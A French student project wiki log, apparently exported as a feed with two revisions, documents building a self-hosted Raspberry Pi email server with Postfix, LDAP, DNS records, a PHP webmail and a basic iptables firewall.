Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]&lt;br /&gt;
&lt;br /&gt;
Code Perl du script pour Postfix :&lt;br /&gt;
&lt;br /&gt;
Fichier de configuration (Postfix/Lighttpd) fonctionnels : [http://http://projets-imasc.plil.net/mediawiki/images/1/11/Config_intimail.zip Config Postfix+Lighttpd]&lt;br /&gt;
&lt;br /&gt;
Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27626</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27626"/>
				<updated>2016-02-23T10:49:01Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
